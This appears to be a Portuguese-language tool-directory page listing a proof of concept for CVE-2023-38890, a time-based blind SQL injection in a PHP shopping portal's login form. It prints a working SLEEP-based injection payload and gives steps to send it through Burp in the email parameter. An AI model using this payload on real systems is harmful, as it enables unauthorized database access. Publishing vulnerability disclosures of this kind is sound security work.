Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-38890 — poc | Kitploit
Ferramentas/GitHubGitHub/akshadjoshi/cve-2023-38890
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubakshadjoshi/cve-2023-38890

CVE-2023-38890

poc

Ver Repositório
11há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-38890

Descrição

Online Shopping Portal Project V3.1 permite que atacantes remotos executem comandos/consultas SQL arbitrários através do formulário de login, levando a acesso não autorizado e potencial manipulação de dados. Esta vulnerabilidade surge devido à validação insuficiente da entrada fornecida pelo usuário no campo de nome de usuário, possibilitando ataques de injeção SQL.


Título do Exploit: Online Shopping Portal Project V3.1 PHPgurukul - Time-Based Blind Sqli

Autor do Exploit: Akshad Joshi

Homepage do Fornecedor: https://phpgurukul.com

Link do Software: https://phpgurukul.com/shopping-portal-free-download/

Testado em: Linux

Passos para Reproduzir

use este payload (codifique-o em URL):

[email protected]' AND (SELECT 1866 FROM (SELECT(SLEEP(10)))JHcH) AND 'GMDH'='GMDH
  1. visite http://localhost/shopping/login.php
  2. faça login com a conta que você criou.
  3. há validação no front-end, então capture a requisição no Burp.
  4. passe o payload acima no parâmetro de email e observe o tempo de resposta
Baixar ferramenta